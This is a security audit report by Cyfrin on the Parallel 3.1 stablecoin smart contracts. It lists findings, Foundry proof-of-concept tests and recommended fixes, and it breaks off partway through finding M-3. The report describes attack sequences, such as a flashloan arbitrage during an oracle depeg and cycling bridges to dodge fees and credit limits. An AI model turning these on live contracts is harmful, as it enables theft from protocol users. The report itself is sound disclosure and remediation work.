Parallel 3.1 Audit Report

Prepared by Cyfrin

Version 2.0

Lead Auditors

0xStalin

100proof

T1MOH

Alix40

Assisting Auditors

Alexzoid (Formal Verification)

March 4, 2026

Contents

1 About Cyfrin 3

2 Disclaimer 3

3 Risk Classification 3

4 Protocol Summary 3
- 4.0.1 Key Modules & Architecture . . . 3
- 4.0.2 Architecture Summary . . . 4

5 Audit Scope 4

6 Executive Summary 5
- 6.0.1 Operational Notes . . . 5
- 6.0.2 Formal Verification . . . 6

7 Findings 9
- 7.1 High Risk . . . 9
  - 7.1.1 `Surplus::processSurplus` always reverts for managed collateral - diamond holds zero balance . . . 9
- 7.2 Medium Risk . . . 11
  - 7.2.1 User can bypass fee and spend limits in `BridgeableTokenP` . . . 11
  - 7.2.2 `RewardHandler` may revert due to receiving less than expected . . . 12
  - 7.2.3 Insufficient validation of collateral consumption in external swap during Harvesting in `GenericHarvester` . . . 16
  - 7.2.4 Oracle Inconsistency between surplus computation and post-check causes `Surplus::processSurplus(collateralAddress,0)` DoS . . . 17
  - 7.2.5 `LibSurplus::_computeCollateralSurplus` doesn't account for `surplusBufferRatio > 100%` 19
- 7.3 Low Risk . . . 21
  - 7.3.1 Outdated accounting after burning the surplus `USDP` in `Surplus::release` . . . 21
  - 7.3.2 RewardHandler can be used to call OdosRouterV2 methods other than `swap` . . . 22
  - 7.3.3 Missing validation allows `userDeviation > burnRatioDeviation`, silently disabling burn ratio protection . . . 28
  - 7.3.4 Excess `amountStableOut` not credited during Harvest in `GenericHarvester` . . . 28
  - 7.3.5 `TokenP::burnStablecoin` breaks accounting . . . 29
  - 7.3.6 `SettersGovernor::setWhitelistStatus` allows values other than 0 and 1 potentially leading to DOS . . . 29
  - 7.3.7 `IBridgeableTokenP::swapLzTokenToPrincipalToken` interface declares a `uint256` return value but `BridgeableTokenP::swapLzTokenToPrincipalToken` returns nothing, breaking external integrations . . . 32
  - 7.3.8 `collatInfo.stablecoinCap` hardcap can be bypassed via `SettersGovernor::adjustStablecoins` . . . 32
  - 7.3.9 Deploy script `UpdateParallelizer.ts` does not handle facet removal case . . . 33
  - 7.3.10 `BridgeableTokenP::getMaxDebitableAmount` doesn't account for isolate mode, returning inflated values . . . 33
- 7.4 Informational . . . 35
  - 7.4.1 Protocol susceptible to imperfect oracles with prices higher than market price during depeg . 35
  - 7.4.2 `LibHelpers.convertDecimalsTo` favours the user on a exact-out mint and burn for certain collateral decimals . . . 40
  - 7.4.3 Consider making `globalCreditLimit` an `int256` . . . 44
  - 7.4.4 Incorrect link to Angle contracts across protocol . . . 45
  - 7.4.5 Mint and burn fees are distributed via `Surplus` . . . 45
  - 7.4.6 Unbounded `O(n)` renormalization in `_updateNormalizer` can lead to denial-of-service during redemption . . . 45
  - 7.4.7 Interaction of `BridgeableTokenP` and `Parallelizer` allows local insolvency . . . 46

7.4.8 In zero-fee case, flashloan can result in a few wei profit 53
7.4.9 `Getters::getCollateralSurplus` returns positive values even when `Surplus::processSurplus` is guaranteed to revert 63
7.4.10 First mint bug becomes reproducible in the presence of bridgeable tokens 64
7.5 Gas Optimization 71
7.5.1 Implement fail-fast mechanism in `_quoteBurnExact` functions for collateral availability check . 71

1 About Cyfrin

Cyfrin is a Web3 security company dedicated to bringing industry-leading protection and education to our partners and their projects. Our goal is to create a safe, reliable, and transparent environment for everyone in Web3 and DeFi. Learn more about us at cyfrin.io.

2 Disclaimer

The Cyfrin team makes every effort to find as many vulnerabilities in the code as possible in the given time but holds no responsibility for the findings in this document. A security audit by the team does not endorse the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the solidity implementation of the contracts.

3 Risk Classification

	Impact: High	**Impact: Medium**	**Impact: Low**
Likelihood: High	Critical	High	Medium
Likelihood: Medium	High	Medium	Low
Likelihood: Low	Medium	Low	Low

4 Protocol Summary

Parallel is a decentralized, modular, over-collateralized stablecoin protocol designed for the EVM ecosystem. It enables issuance of fully decentralized stablecoins — starting with `USDP` — backed by a diversified, yield-generating basket of correlated assets. The protocol prioritizes capital efficiency, sustainable native yield, and strong peg stability while operating natively across multiple chains.

4.0.1 Key Modules & Architecture

1. Parallelizer (Core Engine)

- Diamond-proxy implementation (forked from Angle Protocol's Transmuter)
- Handles minting, burning, redemption, and collateral management as well as surplus distribution for yield-bearing collaterals
- Supports dynamic piecewise-linear fee curves for mint/burn operations
- Uses Chainlink, Morpho, or custom oracles for price feeds
- Maintains precise accounting via a global `normalizer` mechanism
- Features surplus harvesting, collateral rebalancing, and redemption penalty curves

2. Savings Module (Yield Distribution)

- ERC-4626 compliant vaults (e.g. `sUSDp` for `USDp` holders)
- Users deposit stablecoins to earn protocol-generated yield
- Yield sources include:
  - Collateral surplus monetization
  - Mint/burn/redemption fees
  - Bridge module fees

  - Returns on yield-bearing backing assets
- Governance manually sets the inflation rate (APY) per second to distribute yield
- Goal: Match minted yield burned `USDp` across the system to preserve backing integrity

3. Bridging Module (Cross-Chain)

- LayerZero OFT-based `BridgeableTokenP` contracts on non-Ethereum chains
- Controls supply with:
  - Daily & global debit/credit limits
  - Optional bridge fees
  - Isolate mode (prevents over-issuance on remote chains)
  - Principal-token vs. OFT swapping logic

4. Harvesters & Rebalancing

- `GenericHarvester` + `MultiBlockHarvester`
- Permissionless or trusted actors rebalance collateral exposures
- Use zero-fee flashloans for atomic operations
- Explicit revert if flashloans charge fees (current design constraint)

4.0.2 Architecture Summary

The diamond proxy delegates calls to facet contracts which read and update a centralized `ParallelizerStorage` via shared library accessors; facets in turn call helper libraries for pricing, manager interactions, and surplus calculations. `tokenP` is the canonical stablecoin contract used by facets for minting and burning, while flashloan and bridge token variants extend tokenP functionality for specialized flows. The `normalizer` and `normalizedStables` variables form the protocol's core issuance accounting: normalized units are tracked per collateral and scaled by the normalizer to compute actual outstanding stablecoin supply.

Managers and harvesters interact with the Parallelizer to move assets between reserves and external yield sources, and the `AccessManager` enforces role-based permissions for administrative actions. Oracle modules provide pricing to all relevant flows so that fee curves, surplus computations, and redemption baskets remain consistent across facets. Overall, components are organized to keep state centralized in the diamond storage while allowing modular upgrades and pluggable integrations for collateral, strategies, savings, flash loans, and bridging.

5 Audit Scope

Parallel v3.0 is already deployed to production; the scope of this audit was Parallel version 3.1 an upgrade to allow distributing yield generated by yield-bearing collaterals in the system backing the minted stablecoin.

All contracts at the following repositories and commit hashes were in scope:

```
https://github.com/parallel-protocol/parallel-core/tree/b439bedb0ffb8b1780fa666f78e23dbdf156f1ae/contra
↪  cts/*
https://github.com/parallel-protocol/parrallel-tokens/tree/b16007cec636f563c8a21e78349893b6a3720522/con
↪  tracts/*
https://github.com/parallel-protocol/parallel-parallelizer/tree/20674ad9a3a82bdeb50f9bf2b8248dad13c872b
↪  1/contracts/*
```

6 Executive Summary

Over the course of 15 days, the Cyfrin team conducted an audit on the Parallel 3.1 smart contracts provided by Parallel. In this period, a total of 27 issues were found.

The findings consist of 1 High, 6 Medium and 10 Low severity issues, with the remainder being informational and gas optimizations.

The high-severity issue causes a permanent denial-of-service on surplus harvesting for all externally managed collaterals. The `processSurplus` function correctly detects yield accumulated in external strategies but fails to process it because the diamond proxy attempts to `transferFrom` managed tokens it never holds (tokens flow directly user → manager on mint and manager → user on burn), leading to an inevitable revert and preventing any strategy-generated yield from being converted into distributable `tokenP` tokens.

The medium-severity issues encompass:

- Oracle inconsistency in `Surplus::processSurplus` causes permanent DoS whenever the spot price is below target but within the `userDeviation` band: surplus computation and swap use optimistic `readMint` (snaps to target), but the post-swap collateral ratio check uses conservative `readRedemption` (raw spot), so the minted tokenP inflates the issued amount while the CR is calculated against the lower real value, reverting with `Undercollateralized` even though the system remains healthy
- Surplus processing in `LibSurplus` and `Surplus::processSurplus` incorrectly treats everything above 100% CR as extractable surplus instead of above the configurable `surplusBufferRatio`, causing `processSurplus` to always revert when `surplusBufferRatio > 100%` (post-swap CR drops below the buffer even though the system remains healthy at the buffer level), while also failing to account for global CR constraints across multiple collaterals
- The first-mint flat fee branch becomes repeatedly exploitable via bridging: an attacker can bridge in USDp from another chain, burn it across collaterals to deplete local issuance to zero, then perform a large low-fee first mint into a chosen collateral (e.g. sUSDe), forcing subsequent legitimate minters on that collateral to pay extremely high fees (up to 999%) until enough other collateral is minted to dilute the share and restore normal fee levels
- Users can bypass credit fees and/or exhaust daily/global credit limits on destination chains in BridgeableTokenP by cycling bridges to force fee-free OFT mints (when originating from OFT), then bridging back to receive Principal without paying the intended fee
- During rebalancing operations, missing validation that all collateral received from the `Parallelizer` is fully consumed during the external swap step, allowing leftover tokens to accumulate in the contract and potentially causing short repayments with unfair budget deductions from the caller
- `sellRewards` in `RewardHandler` can be permanently DoSed for managed collaterals because it trusts the amountOut returned by the Odos router call, but Odos may under-deliver by 1–2 wei due to rounding in its referral fee transfer, causing the subsequent safeTransfer to the manager to revert on insufficient balance when the actual received amount is slightly less than reported

6.0.1 Operational Notes

Accurate APY Setting Required to Match USDP Minting with Protocol Burns

The current mechanism for minting USDP from the Savings contract relies on governance manually and dynamically adjusting the APY rate to capture revenue from diverse sources, including collateral surplus in the Parallelizer and fees from the Bridge Module. Governance will manually burn Bridge Module fees, while the Parallelizer burns USDP during the release process. The design ensures the APY rate is calibrated as precisely as possible so that the amount of USDP minted closely matches the amount burned - preserving the Parallelizer´s backing and accounting integrity without net changes.

Miscalculations in the Savings contract´s APY could lead to unintended outcomes, such as:

- Over-minting: Excess USDP issued without corresponding backing in the Parallelizer´s accounting.

- Under-minting: Reduced yields for Savings contract stakers relative to actual revenue generated.

Flashloan Fees Break GenericHarvester Rebalancing

The GenericHarvester reverts any flashloan-based rebalance transaction if the flashloan module charges a fee. It is adviced to keep flashloans fee-free to preserve compatibility with collateral rebalancing operations.

Bridging USDP across chains to get a better burn rate based on collateral exposures

USDP can be bridged across supported chains. The USDP received on the target chain can be burnt for collateral on the Parallelizer of that chain, burning fees will be calculated based on the accounting on that chain. This can present arbitrage opportunities where on certain chains some collaterals are over-exposed, offering better rates to incentivize burning compared to other chains where the same collateral is under-exposed.

Protocol susceptible to imperfect oracles with prices higher than market price during depeg

The protocol is carefully designed to ensure solvency assuming oracles are perfect and timely. However oracles are highly configurable and can return values based on multiple other price sources, so this assumption can be approximated to a high degree.

However if the attacker finds a market where the price is lower than the oracle price, they can make a profit during a depeg. Assume that the Parallel token is backed by eurA, eurB and eurY and it is eurY that depegs.

If the market price of eurY is lower (e.g. 0.95) than the oracle price of eurY (0.99) and a eurY-eurA pool exists an attacker can:

- flashloan an amount of eurA
- swap for eurY on a secondary eurA-eurY market at the lower price (0.95)
- mint PRL using eurY but at the (higher = 0.99) oracle price
- burn PRL for eurA collateral. Because eurY has depegged attacker only gets 0.99 eurA per PRL.
- Repay the flashloan + fees

The attacker now has a small profit in eurA.

Also, if the oracle price converges to the market value (0.95) the PRL token will be under-collateralized.

Interestingly, if the lower quality collateral regains its peg the PRL token can end up being over-collateralized. In the example above the collateral would be eurY heavy. At a price of 0.99 the PRL token would be fully collateralized since the attacker minted at that value. But if the price goes back to 1.00 we get over-collateralization.

Global solvency is guaranteed but bridging across chains can lead to local insolvency

The protocol is globally solvent but can become locally insolvent per chain due the interaction of bridging and collateralstate in the Parellizer contract.

`BridgeableTokenP` enforces bridge activity using per-chain daily credit/debit quotas, while Parallelizer enforces collateralization during mint/burn. These mechanisms are not coupled. As a result, bridged USDp can be minted onto a destination chain where it is no longer locally backed by Parallelizer. A user can bridge in, burn for collateral, and deplete local collateral. In the worst case this forces subsequent users to bridge elsewhere to exit.

Parallel has acknowledged this behavior and accepts it as an intended tradeoff, on the basis that users can always bridge to another chain to burn/redeem.

However, users lose local redemption guarantees, can incur friction from forced bridging, and face different economic conditions on other chains where fees or collateral mix differ.

PoCs on issue 24 demonstrates both the local drain behavior and chain-dependent "better deal" outcomes. These PoCs use recent forked state from existing deployed contracts on Ethereum mainnet.

6.0.2 Formal Verification

A formal verification suite & associated report was created and provided as an additional deliverable with the audit.

Summary

Project Name	Parallel 3.1
Repository	parallel-core
Commit	b439bedb0ffb...
Repository 2	parrallel-tokens
Commit	b16007cec636...
Fix Commit	c832d8295357...
Repository 3	parallel-parallelizer
Commit	20674ad9a3a8...
Fix Commit	6735f32b21b8...
Audit Timeline	Feb 9th - Feb 27th, 2026
Methods	Manual Review

Issues Found

Critical Risk	0
High Risk	1
Medium Risk	5
Low Risk	10
Informational	10
Gas Optimizations	1
Total Issues	27

Summary of Findings

[H-1] `Surplus::processSurplus` always reverts for managed collateral - diamond holds zero balance	Resolved
[M-1] User can bypass fee and spend limits in `BridgeableTokenP`	Acknowledged
[M-2] `RewardHandler` may revert due to receiving less than expected	Resolved
[M-3] Insufficient validation of collateral consumption in external swap during Harvesting in `GenericHarvester`	Acknowledged
[M-4] Oracle Inconsistency between surplus computation and post-check causes `Surplus::processSurplus(collateralAddress,0)` DoS	Resolved
[M-5] `LibSurplus::_computeCollateralSurplus` doesn't account for `surplusBufferRatio > 100%`	Resolved
[L-1] Outdated accounting after burning the surplus `USDP` in `Surplus::release`	Acknowledged
[L-2] RewardHandler can be used to call OdosRouterV2 methods other than `swap`	Acknowledged

[L-3] Missing validation allows `userDeviation > burnRatioDeviation`, silently disabling burn ratio protection	Resolved
[L-4] Excess `amountStableOut` not credited during Harvest in `GenericHarvester`	Acknowledged
[L-5] `TokenP::burnStablecoin` breaks accounting	Acknowledged
[L-6] `SettersGovernor::setWhitelistStatus` allows values other than 0 and 1 potentially leading to DOS	Resolved
[L-7] `IBridgeableTokenP::swapLzTokenToPrincipalToken` interface declares a `uint256` return value but `BridgeableTokenP::swapLzTokenToPrincipalToken` returns nothing, breaking external integrations	Resolved
[L-8] `collatInfo.stablecoinCap` hardcap can be bypassed via `SettersGovernor::adjustStablecoins`	Resolved
[L-9] Deploy script `UpdateParallelizer.ts` does not handle facet removal case	Resolved
[L-10] `BridgeableTokenP::getMaxDebitableAmount` doesn't account for isolate mode, returning inflated values	Resolved
[I-1] Protocol susceptible to imperfect oracles with prices higher than market price during depeg	Acknowledged
[I-2] `LibHelpers.convertDecimalsTo` favours the user on a exact-out mint and burn for certain collateral decimals	Resolved
[I-3] Consider making `globalCreditLimit` an `int256`	Acknowledged
[I-4] Incorrect link to Angle contracts across protocol	Resolved
[I-5] Mint and burn fees are distributed via `Surplus`	Resolved
[I-6] Unbounded `O(n)` renormalization in `_updateNormalizer` can lead to denial-of-service during redemption	Acknowledged
[I-7] Interaction of `BridgeableTokenP` and `Parallelizer` allows local insolvency	Acknowledged
[I-8] In zero-fee case, flashloan can result in a few wei profit	Resolved
[I-9] `Getters::getCollateralSurplus` returns positive values even when `Surplus::processSurplus` is guaranteed to revert	Resolved
[I-10] First mint bug becomes reproducible in the presence of bridgeable tokens	Acknowledged
[G-1] Implement fail-fast mechanism in `_quoteBurnExact` functions for collateral availability check	Acknowledged

7 Findings

7.1 High Risk

7.1.1 `Surplus::processSurplus` always reverts for managed collateral - diamond holds zero balance

Description: `LibSurplus::_computeCollateralSurplus` reads the collateral balance from `LibManager::totalAssets` for managed collateral (L83-84), which returns the balance held by the external strategy. It then computes a `collateralSurplus` based on this balance.

`Surplus::processSurplus` uses this surplus to self-swap via `ISwapper(address(this)).swapExactInput(collateralSurplus, ...)` (L50). Since this is an external self-call, `msg.sender` inside `Swapper::_swap` is the diamond.

The mint path in `Swapper::_swap` for managed collateral (L222-225) does:

```
IERC20(tokenIn).safeTransferFrom(
    msg.sender, LibManager.transferRecipient(collatInfo.managerData.config), amountIn
);
```

This tries to transfer from the diamond to the manager. But the diamond's balance is always 0 for managed collateral — during normal mints, tokens go directly from user to manager (L222-225), and during burns, `LibManager::release` sends from manager to user (L247). The diamond never holds managed collateral tokens.

The transfer reverts. `maxCollateralAmount` cannot help since even 1 wei exceeds a 0 balance.

Impact: Permanent DoS on surplus processing for all managed collateral. Strategy yield (the primary surplus source for managed assets) accumulates in the manager but can never be captured as distributable tokenP.

Proof of Concept: Added to `tests/units/Parallelizer.t.sol`. Run with: `forge test --match-test "test_ProcessSurplus_RevertWhen_ManagedCollateral_DiamondHasZeroBalance" -vvvv`

```
function test_ProcessSurplus_RevertWhen_ManagedCollateral_DiamondHasZeroBalance()
    public setZeroMintFeesOnAllCollaterals
{
    // Set up eurA as managed collateral
    MockManager manager = new MockManager(address(eurA));
    IERC20[] memory subCollaterals = new IERC20[](1);
    subCollaterals[0] = eurA;
    manager.setSubCollaterals(subCollaterals, "");
    ManagerStorage memory managerData = ManagerStorage({
        subCollaterals: subCollaterals,
        config: abi.encode(ManagerType.EXTERNAL, abi.encode(address(manager)))
    });
    vm.prank(governor);
    parallelizer.setCollateralManager(address(eurA), true, managerData);

    // Mint tokenP - tokens flow to manager, diamond holds 0
    _mintZeroFee(address(eurA), 100 * BASE_6);
    assertEq(eurA.balanceOf(address(parallelizer)), 0);

    // Simulate 8% strategy yield
    deal(address(eurA), address(manager), 108 * BASE_6);

    // Surplus exists
    (uint256 surplus,) = parallelizer.getCollateralSurplus(address(eurA));
    assertGt(surplus, 0);

    // processSurplus reverts - diamond has 0 balance
    _setSlippageTolerance(address(eurA), 1e8);
    vm.startPrank(governor);
    parallelizer.updateSurplusBufferRatio(uint64(BASE_9));
    vm.expectRevert();
    parallelizer.processSurplus(address(eurA), 0);
    vm.stopPrank();
```

```
}
```

The `-vvvv` trace confirms the exact revert point:

```
Surplus::processSurplus
  → MockManager::totalAssets()          // surplus = 8 USDC (108 - 100)
  → eurA::approve(Parallelizer, 8e6)   // diamond approves itself
  → Swapper::swapExactInput             // self-call, msg.sender = diamond
    → eurA::transferFrom(Parallelizer, MockManager, 8e6)
       REVERT: ERC20InsufficientBalance(Parallelizer, 0, 8000000)
```

Diamond balance = 0, needed = 8,000,000. The `transferFrom` fails because the diamond never holds managed collateral. **Recommended Mitigation:** Before the self-swap in `Surplus::processSurplus`, withdraw the surplus from the strategy:

```
if (collatInfo.isManaged > 0) {
    LibManager.release(collateral, address(this), collateralSurplus, collatInfo.managerData.config);
}
```

Parallel: Fixed in commit 2dfad62

Cyfrin: Verified. Assets managed by an external manager are released before the swap when processing surplus

7.2 Medium Risk

7.2.1 User can bypass fee and spend limits in `BridgeableTokenP`

Description: When OFT receives message, it spends credit limit and mints Principal. Interesting that it mints OFT if limits don't allow to mint Principal, moreover it applies fee only on Principal amount:

```
    function _credit(
        address _to,
        uint256 _amountLD,
        uint32, //_srcEid,
        bool _isFeeApplicable
    ) private returns (uint256 amountReceived, uint256 oftReceived, uint256 feeAmount) {
        (amountReceived, feeAmount) = _handleCreditPrincipalToken(_to, _amountLD, _isFeeApplicable);

@>      oftReceived = _amountLD - amountReceived - feeAmount;
        /// If OftReceived > 0 we must be credit to the user OFT tokens to match the total amount he
        ↪  must be credited.
        if (oftReceived > 0) {
            _mint(_to, oftReceived);
        }
    }

    function _handleCreditPrincipalToken(
        address _to,
        uint256 _amountLD,
        bool _isFeeApplicable
    ) private returns (uint256 amountReceived, uint256 feeAmount) {
        amountReceived = _calculatePrincipalTokenAmountToCredit(_amountLD);

        if (amountReceived > 0) {
            dailyCreditAmount[_getCurrentDay()] += amountReceived;
            creditDebitBalance += int256(amountReceived);
@>          if (_isFeeApplicable) {
                if (feesRate > 0) {
                    feeAmount = amountReceived.percentMul(feesRate);
                    amountReceived -= feeAmount;
                    _creditPrincipalToken(feesRecipient, feeAmount);
                }
            }
            _creditPrincipalToken(_to, amountReceived);
        }
    }
```

And, by design, fee is not applied if origin token is OFT.

Such design introduces certain attack vectors if credit limit is hit on destination chain:

1) I have OFT on chain1, swap to Principal costs fee. I can bridge to chain2 and receive OFT, then bridge OFT from chain2 to chain1. That's how I swapped avoiding fee, moreover credit limit on chain1 can be spent to max.

2) I have Principal on chain1 and want to receive Principal on chain2. In usual scenario I will: a) bridge and receive OFT, wait next day (to refresh limit) and swap to Principal; b) wait next day and bridge directly to Principal, again pay fee. However I can do following: bridge to chain2 and receive OFT, bridge back and receive Principal - repeat until credit limit is hit, so in the end I receive OFT on chain1, wait next day and bridge OFT to Principal without fee. This way it spends both debit and credit limit on chain1.

Impact: User can avoid fee and spend limits if credit limit on destination chain is hit.

Recommended Mitigation: Maybe it should mint OFT on destination chain if origin token is OFT.

Parallel: We decided to acknowledge it because we expect the limits to never be reached, and at the same time, we prefer to skip some fees rather than charge users who get front-run.

7.2.2 `RewardHandler` may revert due to receiving less than expected

Description: The `sellRewards` function can receive too little of tokens such as USDM and stETH on [RewardHandler.sol:L46-48].

```
    (bool success, bytes memory result) = ODOS_ROUTER.call(payload);
    if (!success) _revertBytes(result);
    amountOut = abi.decode(result, (uint256));
```

For managed funds this will lead to a revert on RewardHandler.sol:L68

```
IERC20(collateral).safeTransfer(LibManager.transferRecipient(collatInfo.managerData.config), amountOut);
```

The `ODOS_ROUTER` is defined as `0xCf5540fFFCdC3d510B18bFcA6d2b9987b0772559` in `Constants.sol` and the relevant code for a `swap` is below.

At first it may seems like this fragment of _swap correctly calculates the `amountOut` based on the balance change in the OdosRouter contract.

```
uint256 balanceBefore = _universalBalance(tokenInfo.outputToken);
...
amountOut = _universalBalance(tokenInfo.outputToken) - balanceBefore;
```

Later in that same function on L1005-L1009 we have

```
_universalTransfer(
    tokenInfo.outputToken,
    thisReferralInfo.beneficiary,
    amountOut * thisReferralInfo.referralFee * 8 / (FEE_DENOM * 10)
);
```

and on L1582-L1589 we have

```
  function _universalTransfer(address token, address to, uint256 amount) private {
    if (token == _ETH) {
      (bool success,) = payable(to).call{value: amount}("");
      require(success, "ETH transfer failed");
    } else {
      IERC20(token).safeTransfer(to, amount);
    }
  }
```

The `safeTransfer` can send 1 - 2 wei less than the `amount` (equal to `amountOut` from above).

Impact: DOS of `sellRewards`.

Proof of Concept: In tests/units/parallel-protocolRewardHandlerManaged.t.sol see:

- `test_cyfrin_SellRewards_CanStrandManagedCollateralWhen_AmountOutUnderstatesIncrease`
- `test_cyfrin_SellRewards_RevertWhen_AmountOutOverstatesManagedIncrease`

```
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.28;

import { IERC20 } from "@openzeppelin/contracts/interfaces/IERC20.sol";

import { MockTokenPermit } from "tests/mock/MockTokenPermit.sol";
import { MockManager } from "tests/mock/MockManager.sol";
import { CyfrinMockOdosRouter } from "tests/mock/parallel-protocolMockOdosRouter.sol";

import "contracts/parallelizer/Storage.sol";
import "contracts/utils/Constants.sol";

import "../Fixture.sol";
```

```
contract CyfrinRewardHandlerManagedTest is Fixture {
  IERC20 internal tokenA;
  CyfrinMockOdosRouter internal odosMock;
  MockManager internal managerEurA;
  MockManager internal managerEurB;

  function setUp() public override {
    super.setUp();
    tokenA = IERC20(address(new MockTokenPermit("tokenA", "tokenA", 18)));
    odosMock = new CyfrinMockOdosRouter();
    vm.etch(ODOS_ROUTER, address(odosMock).code);

    managerEurA = new MockManager(address(eurA));
    IERC20[] memory subCollaterals = new IERC20[](1);
    subCollaterals[0] = eurA;
    managerEurA.setSubCollaterals(subCollaterals, "");
    ManagerStorage memory managerData =
      ManagerStorage({ subCollaterals: subCollaterals, config: abi.encode(ManagerType.EXTERNAL,
      ↪  abi.encode(address(managerEurA))) });
    vm.prank(governor);
    parallelizer.setCollateralManager(address(eurA), true, managerData);

    // Manage eurB as well so swapMulti can increase multiple collaterals, and the last increased (eurB)
    ↪  is invested.
    managerEurB = new MockManager(address(eurB));
    IERC20[] memory subCollateralsB = new IERC20[](1);
    subCollateralsB[0] = eurB;
    managerEurB.setSubCollaterals(subCollateralsB, "");
    ManagerStorage memory managerDataB =
      ManagerStorage({ subCollaterals: subCollateralsB, config: abi.encode(ManagerType.EXTERNAL,
      ↪  abi.encode(address(managerEurB))) });
    vm.prank(governor);
    parallelizer.setCollateralManager(address(eurB), true, managerDataB);
  }


  /*
   *  When a token like USDM is used the amount actually transferred by a call to ODOS_ROUTER.swap
   *  can be less than the `amountOut` returned.
   *
   *  This causes a revert in RewardHandler::sellRewards#L68
   */
  function test_cyfrin_SellRewards_RevertWhen_AmountOutOverstatesManagedIncrease() public {
    uint256 amountIn = 100e18;
    uint256 amountOutTransferred = 50e6;
    uint256 amountOutReturned = 100e6;
    bytes memory payload = abi.encodeWithSelector(
      parallel-protocolMockOdosRouter.swapSkewed.selector,
      amountIn,
      amountOutTransferred,
      amountOutReturned,
      address(tokenA),
      address(eurA)
    );

    vm.startPrank(governor);
    deal(address(tokenA), address(parallelizer), amountIn);
    deal(address(eurA), ODOS_ROUTER, amountOutTransferred);
    parallelizer.changeAllowance(tokenA, ODOS_ROUTER, amountIn);
    vm.expectRevert();
    parallelizer.sellRewards(0, payload);
    vm.stopPrank();
```

```
}

function test_cyfrin_SellRewards_CanStrandManagedCollateralWhen_AmountOutUnderstatesIncrease() public
↪  {
  uint256 amountIn = 100e18;
  uint256 amountOutTransferred = 100e6;
  uint256 amountOutReturned = 40e6;
  bytes memory payload = abi.encodeWithSelector(
    parallel-protocolMockOdosRouter.swapSkewed.selector,
    amountIn,
    amountOutTransferred,
    amountOutReturned,
    address(tokenA),
    address(eurA)
  );

  vm.startPrank(governor);
  deal(address(tokenA), address(parallelizer), amountIn);
  deal(address(eurA), ODOS_ROUTER, amountOutTransferred);
  parallelizer.changeAllowance(tokenA, ODOS_ROUTER, amountIn);
  parallelizer.sellRewards(0, payload);
  vm.stopPrank();

  assertEq(eurA.balanceOf(address(parallelizer)), amountOutTransferred - amountOutReturned);
}

/*
 *  This test demonstrates that it is possible to call `swapMulti` using `RewardsHandler::sellRewards`
 *
 *  This method returns at uint256[] (not a uint256) but will happily be decoded by abi.decode to
 *  the value 0x20 == 32. (This is the offset value for the array in the return data)
 *
 *  This results in only 32 wei of the token being returned to a managed fund, the rest being
 *  stranded in the RewardHandler contract.
 */
function test_cyfrin_SellRewards_SwapMulti_ReturnsUintArray_DecodesTo32_StrandsCollateral() public {
  uint256 amountIn = 100e18;

  // We'll increase multiple collaterals (eurA then eurB). RewardHandler will pick the last increased
  ↪  collateral
  // in the collateral list for managed investing logic.
  uint256 eurAOut = 1_000_000; // 1e6 (eurA has 6 decimals)
  uint256 eurBOut = 2_000_000_000_000; // 2e12 (eurB has 12 decimals)

  parallel-protocolMockOdosRouter.inputTokenInfo[] memory inputs = new
  ↪  parallel-protocolMockOdosRouter.inputTokenInfo[](1);
  inputs[0] = parallel-protocolMockOdosRouter.inputTokenInfo({ tokenAddress: address(tokenA),
  ↪  amountIn: amountIn, receiver: ODOS_ROUTER });

  parallel-protocolMockOdosRouter.outputTokenInfo[] memory outputs = new
  ↪  parallel-protocolMockOdosRouter.outputTokenInfo[](2);
  outputs[0] = parallel-protocolMockOdosRouter.outputTokenInfo({ tokenAddress: address(eurA),
  ↪  relativeValue: 0, receiver: address(parallelizer) });
  outputs[1] = parallel-protocolMockOdosRouter.outputTokenInfo({ tokenAddress: address(eurB),
  ↪  relativeValue: 0, receiver: address(parallelizer) });

  // Fund the ODOS router with the output tokens so it can transfer them to the diamond.
  deal(address(eurA), ODOS_ROUTER, eurAOut);
  deal(address(eurB), ODOS_ROUTER, eurBOut);

  bytes memory payload = abi.encodeWithSelector(
    parallel-protocolMockOdosRouter.swapMulti.selector,
    inputs,
```

```
      outputs,
      uint256(1),
      bytes(""),
      address(0),
      uint32(0)
    );

    vm.startPrank(governor);
    deal(address(tokenA), address(parallelizer), amountIn);
    parallelizer.changeAllowance(tokenA, ODOS_ROUTER, amountIn);
    parallelizer.sellRewards(0, payload);
    vm.stopPrank();

    // swapMulti returns a `uint256[]` so RewardHandler's `abi.decode(result,(uint256))` reads the first
    ↪  word,
    // which is the offset (0x20), i.e. 32. It will then transfer/invest only 32 units of the chosen
    ↪  managed
    // collateral (eurB), leaving the rest stranded on the diamond.
    assertEq(eurB.balanceOf(address(managerEurB)), 32);
    assertEq(eurB.balanceOf(address(parallelizer)), eurBOut - 32);

    // eurA was also received by the diamond, but because the last increased collateral was eurB, eurA
    ↪  isn't invested.
    assertEq(eurA.balanceOf(address(managerEurA)), 0);
    assertEq(eurA.balanceOf(address(parallelizer)), eurAOut);
  }
}
```

Recommended Mitigation: Use the actual amount of tokens received by comparing balance before and after.

```
+    uint256 collateralIncrease;
     for (uint256 i; i < listLength; ++i) {
       uint256 newBalance = IERC20(list[i]).balanceOf(address(this));
       if (newBalance < balances[i]) {
@@ -59,14 +60,15 @@ contract RewardHandler is IRewardHandler, AccessManagedModifiers {
       } else if (newBalance > balances[i]) {
         hasIncreased = true;
         collateral = list[i];
-        emit RewardsSoldFor(list[i], newBalance - balances[i]);
+        collateralIncrease = newBalance - balances[i];
+        emit RewardsSoldFor(list[i], collateralIncrease);
       }
     }
     if (!hasIncreased) revert InvalidSwap();
     Collateral storage collatInfo = s.transmuterStorage().collaterals[collateral];
     if (collatInfo.isManaged > 0) {
-      IERC20(collateral).safeTransfer(LibManager.transferRecipient(collatInfo.managerData.config),
↪  amountOut);
-      LibManager.invest(amountOut, collatInfo.managerData.config);
+      IERC20(collateral).safeTransfer(LibManager.transferRecipient(collatInfo.managerData.config),
↪  collateralIncrease);
+      LibManager.invest(collateralIncrease, collatInfo.managerData.config);
     }
   }
```

Parallel: Fixed in commit fd74080.

Cyfrin: Verified. `amountOut` is now calculated from the actual balance instead of relying on the returned data from the Router.

7.2.3 Insufficient validation of collateral consumption in external swap during Harvesting in `GenericHarvester`

Description: In the flashloan callback logic (`GenericHarvester::onFlashLoan`), the contract performs a three-step swap sequence to rebalance yield exposure:

1. Swaps flashloaned USDP → collateral asset (`tokenIn`) via Parallelizer (`swapExactInput`)
2. Swaps received `tokenIn` → `tokenOut` via external router / vault (`_swapToTokenOut`)
3. Swaps resulting `tokenOut` → USDP via Parallelizer to repay flashloan

